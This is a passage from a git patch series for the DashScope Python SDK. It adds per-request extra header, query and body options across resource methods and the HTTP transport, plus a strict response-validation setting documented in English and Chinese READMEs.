extra_body=extra_body, ) def fetch( @@ -153,12 +169,18 @@ def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> Job: return self._jobs.fetch( task_id, api_key=api_key, workspace=workspace, timeout=timeout, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, ) def cancel( @@ -168,6 +190,9 @@ def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> Job: """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``).""" return self._jobs.cancel( @@ -175,6 +200,9 @@ def cancel( api_key=api_key, workspace=workspace, timeout=timeout, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, ) def list( # pylint: disable=redefined-builtin @@ -191,6 +219,9 @@ def list( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> JobList: """List async tasks (``GET /tasks``).""" return self._jobs.list( @@ -205,6 +236,9 @@ def list( # pylint: disable=redefined-builtin api_key=api_key, workspace=workspace, timeout=timeout, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, ) def wait( @@ -216,6 +250,9 @@ def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, _sleep: Optional[Callable[[float], Any]] = None, ) -> Job: return self._jobs.wait( @@ -225,6 +262,9 @@ def wait( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, _sleep=_sleep, ) @@ -243,6 +283,9 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> Job: if not file_url: raise ValueError("file_url must not be empty") @@ -256,6 +299,9 @@ async def create( api_key=api_key, workspace=workspace, timeout=timeout, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, ) async def fetch( @@ -265,12 +311,18 @@ async def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> Job: return await self._jobs.fetch( task_id, api_key=api_key, workspace=workspace, timeout=timeout, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, ) async def cancel( @@ -280,6 +332,9 @@ async def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> Job: """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``).""" return await self._jobs.cancel( @@ -287,6 +342,9 @@ async def cancel( api_key=api_key, workspace=workspace, timeout=timeout, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, ) async def list( # pylint: disable=redefined-builtin @@ -303,6 +361,9 @@ async def list( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> JobList: """List async tasks (``GET /tasks``).""" return await self._jobs.list( @@ -317,6 +378,9 @@ async def list( # pylint: disable=redefined-builtin api_key=api_key, workspace=workspace, timeout=timeout, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, ) async def wait( @@ -328,6 +392,9 @@ async def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, _sleep: Optional[Callable[[float], Awaitable[None]]] = None, ) -> Job: return await self._jobs.wait( @@ -337,6 +404,9 @@ async def wait( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, _sleep=_sleep, ) @@ -359,6 +429,9 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> EmbeddingResponse: body = _build_body( model=model, @@ -377,6 +450,11 @@ def create( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers( @@ -403,6 +481,9 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> EmbeddingResponse: body = _build_body( model=model, @@ -421,6 +502,11 @@ async def create( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers( diff --git a/dashscope/resources/files.py b/dashscope/resources/files.py index e064350c..f3ab4f42 100644 --- a/dashscope/resources/files.py +++ b/dashscope/resources/files.py @@ -7,7 +7,7 @@ import json import os import re -from typing import Any, Dict, List, Optional +from typing import Any, Dict, List, Mapping, Optional from pydantic import AliasChoices, Field @@ -19,6 +19,7 @@ sdk_error, response_json, ) +from dashscope.transport._options import request_options from dashscope.types.common import ( ResponseBase, response_envelope, @@ -219,6 +220,9 @@ def upload( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> File: _validate_upload(file_path, purpose) data, files = _upload_form(file_path, description) @@ -231,6 +235,11 @@ def upload( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers(_parse_upload(response_json(response)), response) @@ -243,6 +252,9 @@ def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> FileList: response = self._client.transport.request( "GET", @@ -252,6 +264,11 @@ def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers(_parse_list(response_json(response)), response) @@ -263,6 +280,9 @@ def get( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> File: _require_file_id(file_id) response = self._client.transport.request( @@ -272,6 +292,11 @@ def get( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) _check_by_id_response( response, @@ -286,6 +311,9 @@ def delete( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> DeletionStatus: _require_file_id(file_id) response = self._client.transport.request( @@ -295,6 +323,11 @@ def delete( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) _check_by_id_response( response, @@ -316,6 +349,9 @@ async def upload( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> File: _validate_upload(file_path, purpose) data, files = _upload_form(file_path, description) @@ -328,6 +364,11 @@ async def upload( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers(_parse_upload(response_json(response)), response) @@ -340,6 +381,9 @@ async def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> FileList: response = await self._client.transport.request( "GET", @@ -349,6 +393,11 @@ async def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers(_parse_list(response_json(response)), response) @@ -360,6 +409,9 @@ async def get( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> File: _require_file_id(file_id) response = await self._client.transport.request( @@ -369,6 +421,11 @@ async def get( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) _check_by_id_response( response, @@ -383,6 +440,9 @@ async def delete( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> DeletionStatus: _require_file_id(file_id) response = await self._client.transport.request( @@ -392,6 +452,11 @@ async def delete( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) _check_by_id_response( response, diff --git a/dashscope/resources/models.py b/dashscope/resources/models.py index 633229ac..41be7f31 100644 --- a/dashscope/resources/models.py +++ b/dashscope/resources/models.py @@ -4,7 +4,7 @@ from __future__ import annotations -from typing import Any, Dict, List, Optional +from typing import Any, Dict, List, Mapping, Optional from pydantic import AliasChoices, Field @@ -14,6 +14,7 @@ error_from_business_code, response_json, ) +from dashscope.transport._options import request_options from dashscope.types.common import ( ResponseBase, response_envelope, @@ -102,6 +103,9 @@ def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> ModelList: """List models; ``provider`` filters client-side per page. @@ -117,6 +121,11 @@ def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) result = _parse_list(response_json(response)) @@ -133,6 +142,9 @@ def get( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> Model: # Server filters by model name via query params. response = self._client.transport.request( @@ -143,6 +155,11 @@ def get( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) body = response_json(response) @@ -175,6 +192,9 @@ async def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> ModelList: response = await self._client.transport.request( "GET", @@ -184,6 +204,11 @@ async def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) result = _parse_list(response_json(response)) @@ -200,6 +225,9 @@ async def get( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, ) -> Model: # Server filters by model name via query params. response = await self._client.transport.request( @@ -210,6 +238,11 @@ async def get( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) body = response_json(response) diff --git a/dashscope/transport/__init__.py b/dashscope/transport/__init__.py index d552f13f..5aea18ea 100644 --- a/dashscope/transport/__init__.py +++ b/dashscope/transport/__init__.py @@ -2,10 +2,16 @@ # Copyright (c) Alibaba, Inc. and its affiliates. """Transport layer for the dashscope 2.0 SDK.""" +from dashscope.transport._options import RequestOptions from dashscope.transport.http import ( AsyncTransport, SyncTransport, default_user_agent, ) -__all__ = ["AsyncTransport", "SyncTransport", "default_user_agent"] +__all__ = [ + "AsyncTransport", + "RequestOptions", + "SyncTransport", + "default_user_agent", +] diff --git a/dashscope/transport/http.py b/dashscope/transport/http.py index fa888074..57537d80 100644 --- a/dashscope/transport/http.py +++ b/dashscope/transport/http.py @@ -19,6 +19,13 @@ check_response, ) from dashscope.transport import _ident +from dashscope.transport._options import ( + RequestOptions, + deep_merge, + merge_query, + resolve_max_retries, + resolve_timeout, +) from dashscope.transport._retry import backoff_delay, should_retry logger = get_logger("transport") @@ -83,24 +90,26 @@ def _timeout_kwarg( return {} if timeout is None else {"timeout": timeout} -def _with_sdk_headers( - sdk: Mapping[str, str], - headers: Optional[Mapping[str, str]], +def _merge_headers( + base: Mapping[str, str], + overrides: Optional[Mapping[str, str]], ) -> dict: - # SDK identification rides on every request, even through a - # caller-provided http_client; caller headers win over the defaults. - # The override is matched case-insensitively so a caller passing - # ``X-DashScope-SDK-Session-Id`` replaces the lowercase default rather - # than emitting a duplicate header. - if headers is None: - return dict(sdk) - caller_keys = {key.lower() for key in headers} + """``overrides`` on top of ``base``, matched case-insensitively. + + Used for every header layer (SDK identity, Client defaults, caller + headers, ``extra_headers``), so an override spelled + ``X-DashScope-Client-Request-Id`` replaces the lowercase default + instead of emitting a duplicate header. + """ + if overrides is None: + return dict(base) + override_keys = {key.lower() for key in overrides} merged = { key: value - for key, value in sdk.items() - if key.lower() not in caller_keys + for key, value in base.items() + if key.lower() not in override_keys } - merged.update(headers) + merged.update(overrides) return merged @@ -117,7 +126,7 @@ def _merge_auth_headers( """ if api_key is None and workspace is None: return headers - return _with_sdk_headers( + return _merge_headers( headers or {}, _build_headers(api_key, workspace, None), ) @@ -129,16 +138,64 @@ def _request_headers( headers: Optional[Mapping[str, str]], api_key: Optional[str], workspace: Optional[str], + options: Optional[RequestOptions] = None, ) -> dict: """Merge Client defaults, SDK identity and per-call overrides. This is deliberately request-scoped so an injected ``http_client`` still - receives the Client's credentials and user agent. Caller headers and - per-call credentials win case-insensitively. + receives the Client's credentials and user agent. + + Precedence, lowest to highest: SDK identity headers, Client defaults, + caller ``headers``, the per-call ``api_key`` / ``workspace``, then + ``options.extra_headers``. The auth-over-headers step is what makes + ``api_key=`` mean "use this key" even when a client-level + ``Authorization`` is still in ``headers``; ``extra_headers`` sits above + everything because it is the narrowest, most explicit statement of + intent a caller can make about one request. All of it is matched + case-insensitively. """ per_call = _merge_auth_headers(headers, api_key, workspace) - configured = _with_sdk_headers(defaults, per_call) - return _with_sdk_headers(sdk, configured) + configured = _merge_headers(defaults, per_call) + merged = _merge_headers(sdk, configured) + if options is not None and options.extra_headers: + merged = _merge_headers(merged, options.extra_headers) + return merged + + +def _with_extra_body( + body: Any, + options: Optional[RequestOptions], + method: str, + path: str, + *, + has_other_body: bool = False, +) -> Any: + """Deep-merge ``options.extra_body`` into a JSON object body. + + A request whose body is something other than a JSON object -- raw + ``content`` bytes, a multipart ``files`` upload -- has nothing to + merge into, so it is left alone and the drop is reported: silently + discarding what a caller asked to send is worse than the warning. + ``has_other_body`` covers the case where ``json`` is absent only + because another body channel is carrying the payload; httpx would + drop the JSON silently, so the warning has to come from here. + + A missing body with no other channel is different: ``extra_body`` + alone becomes the JSON object, which is what a caller adding fields + to a body-less request means. + """ + if options is None or not options.extra_body: + return body + foreign_body = body is not None and not isinstance(body, dict) + if has_other_body or foreign_body: + logger.warning( + "ignoring extra_body for %s %s: body is %s, not a JSON object", + method, + path, + "another body channel" if has_other_body else type(body).__name__, + ) + return body + return deep_merge(body or {}, options.extra_body) def _abs_url(base_url: Optional[str], path: str) -> str: @@ -211,10 +268,21 @@ def request( api_key: Optional[str] = None, workspace: Optional[str] = None, sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, ) -> httpx.Response: url = _abs_url(base_url or self._base_url, path) client_request_id = _ident.client_request_id() - for attempt in range(self._max_retries + 1): + max_retries = resolve_max_retries(self._max_retries, options) + params = merge_query(params, options) + json = _with_extra_body( + json, + options, + method, + path, + has_other_body=any(x is not None for x in (content, data, files)), + ) + timeout = resolve_timeout(timeout, options) + for attempt in range(max_retries + 1): try: response = self._client.request( method, @@ -230,13 +298,14 @@ def request( headers, api_key, workspace, + options, ), **_timeout_kwarg( self._request_timeout if timeout is None else timeout, ), ) except httpx.TransportError as exc: - if attempt >= self._max_retries: + if attempt >= max_retries: logger.warning( "request %s %s failed after %d attempt(s)" " (client_request_id=%s): %s", @@ -254,7 +323,7 @@ def request( path, delay, attempt + 1, - self._max_retries, + max_retries, type(exc).__name__, exc, ) @@ -271,7 +340,7 @@ def request( ) if not should_retry(response.status_code, response.headers): return response - if attempt >= self._max_retries: + if attempt >= max_retries: return response delay = backoff_delay(attempt, response.headers) logger.info( @@ -281,7 +350,7 @@ def request( path, delay, attempt + 1, - self._max_retries, + max_retries, response.status_code, request_id, ) @@ -301,6 +370,7 @@ def open_stream( api_key: Optional[str] = None, workspace: Optional[str] = None, sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, ) -> httpx.Response: """Open a stream, retrying only before a successful stream exists. @@ -311,7 +381,11 @@ def open_stream( """ url = _abs_url(base_url or self._base_url, path) client_request_id = _ident.client_request_id() - for attempt in range(self._max_retries + 1): + max_retries = resolve_max_retries(self._max_retries, options) + params = merge_query(params, options) + json = _with_extra_body(json, options, method, path) + timeout = resolve_timeout(timeout, options) + for attempt in range(max_retries + 1): try: response = self._client.send( self._client.build_request( @@ -325,6 +399,7 @@ def open_stream( headers, api_key, workspace, + options, ), **_timeout_kwarg( self._request_timeout @@ -335,7 +410,7 @@ def open_stream( stream=True, ) except httpx.TransportError as exc: - if attempt >= self._max_retries: + if attempt >= max_retries: raise _map_transport_error( exc, client_request_id, @@ -347,7 +422,7 @@ def open_stream( path, delay, attempt + 1, - self._max_retries, + max_retries, type(exc).__name__, exc, ) @@ -355,7 +430,7 @@ def open_stream( continue if should_retry(response.status_code, response.headers) and ( - attempt < self._max_retries + attempt < max_retries ): delay = backoff_delay(attempt, response.headers) request_id = response.headers.get("x-request-id") @@ -374,7 +449,7 @@ def open_stream( path, delay, attempt + 1, - self._max_retries, + max_retries, response.status_code, request_id, ) @@ -462,10 +537,21 @@ async def request( api_key: Optional[str] = None, workspace: Optional[str] = None, sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, ) -> httpx.Response: url = _abs_url(base_url or self._base_url, path) client_request_id = _ident.client_request_id() - for attempt in range(self._max_retries + 1): + max_retries = resolve_max_retries(self._max_retries, options) + params = merge_query(params, options) + json = _with_extra_body( + json, + options, + method, + path, + has_other_body=any(x is not None for x in (content, data, files)), + ) + timeout = resolve_timeout(timeout, options) + for attempt in range(max_retries + 1): try: response = await self._client.request( method, @@ -481,13 +567,14 @@ async def request( headers, api_key, workspace, + options, ), **_timeout_kwarg( self._request_timeout if timeout is None else timeout, ), ) except httpx.TransportError as exc: - if attempt >= self._max_retries: + if attempt >= max_retries: logger.warning( "request %s %s failed after %d attempt(s)" " (client_request_id=%s): %s", @@ -505,7 +592,7 @@ async def request( path, delay, attempt + 1, - self._max_retries, + max_retries, type(exc).__name__, exc, ) @@ -522,7 +609,7 @@ async def request( ) if not should_retry(response.status_code, response.headers): return response - if attempt >= self._max_retries: + if attempt >= max_retries: return response delay = backoff_delay(attempt, response.headers) logger.info( @@ -532,7 +619,7 @@ async def request( path, delay, attempt + 1, - self._max_retries, + max_retries, response.status_code, request_id, ) @@ -552,11 +639,16 @@ async def open_stream( api_key: Optional[str] = None, workspace: Optional[str] = None, sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, ) -> httpx.Response: """Async twin of :meth:`SyncTransport.open_stream`.""" url = _abs_url(base_url or self._base_url, path) client_request_id = _ident.client_request_id() - for attempt in range(self._max_retries + 1): + max_retries = resolve_max_retries(self._max_retries, options) + params = merge_query(params, options) + json = _with_extra_body(json, options, method, path) + timeout = resolve_timeout(timeout, options) + for attempt in range(max_retries + 1): request = self._client.build_request( method, url, @@ -568,6 +660,7 @@ async def open_stream( headers, api_key, workspace, + options, ), **_timeout_kwarg( self._request_timeout if timeout is None else timeout, @@ -576,7 +669,7 @@ async def open_stream( try: response = await self._client.send(request, stream=True) except httpx.TransportError as exc: - if attempt >= self._max_retries: + if attempt >= max_retries: raise _map_transport_error( exc, client_request_id, @@ -588,7 +681,7 @@ async def open_stream( path, delay, attempt + 1, - self._max_retries, + max_retries, type(exc).__name__, exc, ) @@ -596,7 +689,7 @@ async def open_stream( continue if should_retry(response.status_code, response.headers) and ( - attempt < self._max_retries + attempt < max_retries ): delay = backoff_delay(attempt, response.headers) request_id = response.headers.get("x-request-id") @@ -613,7 +706,7 @@ async def open_stream( path, delay, attempt + 1, - self._max_retries, + max_retries, response.status_code, request_id, ) From e4ef129722fac09747fd1f89ca8b6f9d2176fb33 Mon Sep 17 00:00:00 2001 From: luk384090-cloud Date: Mon, 2 Nov 2026 15:23:56 +0800 Subject: [PATCH 04/26] feat(parse): Add fault-tolerant response model parsing and strict validation config - Add parse_model function for fault-tolerant Pydantic model parsing - Auto-fallback to repair invalid fields and preserve valid data on parse failure - Add strict_validation config option to enable strict validation mode - Raise APIResponseValidationError on response structure mismatch in strict mode - Refactor task and protocol parsing logic to integrate the new fault-tolerant mechanism - Improve boolean config parsing to support multiple environment variable formats --- README.md | 3 + README_zh.md | 3 + dashscope/_config.py | 75 +++ dashscope/client.py | 16 + dashscope/protocols/anthropic.py | 175 ++++-- dashscope/protocols/base.py | 34 +- dashscope/protocols/native.py | 23 +- dashscope/protocols/openai.py | 95 +++- dashscope/resources/_jobs.py | 93 ++- dashscope/resources/chat/completions.py | 107 +++- dashscope/resources/files.py | 160 +++++- dashscope/resources/images.py | 36 +- dashscope/resources/models.py | 82 ++- dashscope/transport/sse.py | 36 +- dashscope/types/_parse.py | 504 +++++++++++++++++ dashscope/types/completions.py | 85 ++- tests/test_config.py | 156 +++++ tests/test_parse_model.py | 411 ++++++++++++++ tests/test_protocols.py | 137 ++++- tests/test_response_drift.py | 720 ++++++++++++++++++++++++ tests/test_settings.py | 39 ++ 21 files changed, 2812 insertions(+), 178 deletions(-) create mode 100644 dashscope/types/_parse.py create mode 100644 tests/test_parse_model.py create mode 100644 tests/test_response_drift.py diff --git a/README.md b/README.md index 3ed6ff90..1e750e60 100644 --- a/README.md +++ b/README.md @@ -283,6 +283,7 @@ dashscope.settings.log_level = "INFO" | `DASHSCOPE_WEBSOCKET_BASE_URL` | Override the WebSocket endpoint | derived from region/workspace | | `DASHSCOPE_TIMEOUT` | Request timeout (seconds) | `300` | | `DASHSCOPE_MAX_RETRIES` | Automatic retries | `2` | +| `DASHSCOPE_STRICT_VALIDATION` | Raise on a response body that does not fit its typed model instead of degrading it | `false` | | `DASHSCOPE_HTTP_MAX_CONNECTIONS` | Connection-pool size | `100` | | `DASHSCOPE_HTTP_MAX_KEEPALIVE_CONNECTIONS` | Keep-alive connections held in the pool | `20` | | `DASHSCOPE_HTTP_KEEPALIVE_EXPIRY` | Keep-alive expiry (seconds) | `5.0` | @@ -292,6 +293,8 @@ dashscope.settings.log_level = "INFO" The three `DASHSCOPE_HTTP_*` pool variables are also settable as `http_max_connections`, `http_max_keepalive_connections` and `http_keepalive_expiry` in `settings` and `config.toml`. Passing your own `http_client=` takes precedence over all of them. +By default a response body that does not fit the SDK's typed models is parsed in degraded form — the offending fields fall back to their defaults and the rest of the payload stays usable — with the drift recorded at `DEBUG` on the `dashscope._logging.parse` logger. Set `DASHSCOPE_STRICT_VALIDATION=true` (or `Client(strict_validation=True)`, `settings.strict_validation = True`, `strict_validation = true` in `config.toml`) to raise `APIResponseValidationError` instead, which is what you want in CI or contract tests. Strict validation raises even under `raise_on_error=False`: that flag governs service errors, this one governs parse errors. + **Config file** (`~/.dashscope/config.toml`): ```toml diff --git a/README_zh.md b/README_zh.md index ff02e8b9..87c27332 100644 --- a/README_zh.md +++ b/README_zh.md @@ -283,6 +283,7 @@ dashscope.settings.log_level = "INFO" | `DASHSCOPE_WEBSOCKET_BASE_URL` | 覆盖 WebSocket 端点 | 由地域/业务空间推导 | | `DASHSCOPE_TIMEOUT` | 请求超时(秒) | `300` | | `DASHSCOPE_MAX_RETRIES` | 自动重试次数 | `2` | +| `DASHSCOPE_STRICT_VALIDATION` | 响应体与类型模型不符时抛错,而不是降级解析 | `false` | | `DASHSCOPE_HTTP_MAX_CONNECTIONS` | 连接池大小 | `100` | | `DASHSCOPE_HTTP_MAX_KEEPALIVE_CONNECTIONS` | 连接池保持的 keep-alive 连接数 | `20` | | `DASHSCOPE_HTTP_KEEPALIVE_EXPIRY` | keep-alive 过期时间(秒) | `5.0` | @@ -292,6 +293,8 @@ dashscope.settings.log_level = "INFO" 三个 `DASHSCOPE_HTTP_*` 连接池变量同样可以在 `settings` 和 `config.toml` 中以 `http_max_connections`、`http_max_keepalive_connections`、`http_keepalive_expiry` 设置。传入自备的 `http_client=` 时,以它为准,上述配置全部被忽略。 +默认情况下,若响应体与 SDK 的类型模型不符,会走降级解析——出问题的字段回退到各自的默认值,报文中其余部分照常可用——同时把漂移以 `DEBUG` 级别记录到 `dashscope._logging.parse` 这个 logger。设置 `DASHSCOPE_STRICT_VALIDATION=true`(或 `Client(strict_validation=True)`、`settings.strict_validation = True`、`config.toml` 里的 `strict_validation = true`)则改为抛出 `APIResponseValidationError`,这正是 CI 或契约测试想要的行为。严格校验即使在 `raise_on_error=False` 下也会抛错:那个开关管的是服务端错误,这个管的是解析错误。 + **配置文件**(`~/.dashscope/config.toml`): ```toml diff --git a/dashscope/_config.py b/dashscope/_config.py index cfd8580d..145d6d04 100644 --- a/dashscope/_config.py +++ b/dashscope/_config.py @@ -88,6 +88,11 @@ DEFAULT_HTTP_MAX_KEEPALIVE_CONNECTIONS = 20 DEFAULT_HTTP_KEEPALIVE_EXPIRY = 5.0 +# Response bodies that do not fit the typed models degrade by default, +# so a gateway adding or retyping a field cannot take a caller's process +# down; strict mode opts back into raising for contract testing. +DEFAULT_STRICT_VALIDATION = False + # Each wire protocol lives at its own URL path under the gateway host. PROTOCOL_DEFAULT_PATHS = { "native": "/api/v1", @@ -133,6 +138,7 @@ "DASHSCOPE_HTTP_MAX_KEEPALIVE_CONNECTIONS" ) _HTTP_KEEPALIVE_EXPIRY_ENV = "DASHSCOPE_HTTP_KEEPALIVE_EXPIRY" +_STRICT_VALIDATION_ENV = "DASHSCOPE_STRICT_VALIDATION" _LOG_ENV = "DASHSCOPE_LOG" _CONFIG_PATH_ENV = "DASHSCOPE_CONFIG" _DEFAULT_CONFIG_PATH = "~/.dashscope/config.toml" @@ -153,6 +159,7 @@ "http_max_connections", "http_max_keepalive_connections", "http_keepalive_expiry", + "strict_validation", }, ) @@ -181,6 +188,38 @@ def _env_int(name: str) -> Optional[int]: ) from None +# Recognised spellings for a boolean setting. Anything else is rejected +# rather than coerced: ``"0"`` silently reading as true (the bare +# truthiness trap) would flip a caller into the wrong mode. +_TRUTHY = frozenset({"1", "true", "yes", "on", "t", "y"}) +_FALSY = frozenset({"0", "false", "no", "off", "f", "n"}) + + +def _coerce_bool(name: str, raw: Any) -> bool: + """Interpret one boolean-ish value, shared by env and ``settings``.""" + if isinstance(raw, bool): + return raw + if isinstance(raw, int) and raw in (0, 1): + return bool(raw) + if isinstance(raw, str): + normalized = raw.strip().lower() + if normalized in _TRUTHY: + return True + if normalized in _FALSY: + return False + raise ValueError( + f"invalid {name}={raw!r}: expected a boolean " + "(true/false, 1/0, yes/no, on/off)", + ) + + +def _env_bool(name: str) -> Optional[bool]: + raw = os.environ.get(name) + if raw is None or not raw.strip(): + return None + return _coerce_bool(name, raw) + + def _legacy_fallback(host: str) -> str: """Return the legacy gateway host, nudging toward a workspace. @@ -304,6 +343,10 @@ class Config: DEFAULT_HTTP_MAX_KEEPALIVE_CONNECTIONS ) http_keepalive_expiry: float = DEFAULT_HTTP_KEEPALIVE_EXPIRY + # Raise instead of degrading when a response body does not fit its + # typed model. Off by default so a gateway retyping a field cannot + # break callers; turn it on in CI to catch contract drift. + strict_validation: bool = DEFAULT_STRICT_VALIDATION class Settings: @@ -504,6 +547,23 @@ def http_keepalive_expiry(self, value: float) -> None: with self._lock: self._explicit["http_keepalive_expiry"] = value + @property + def 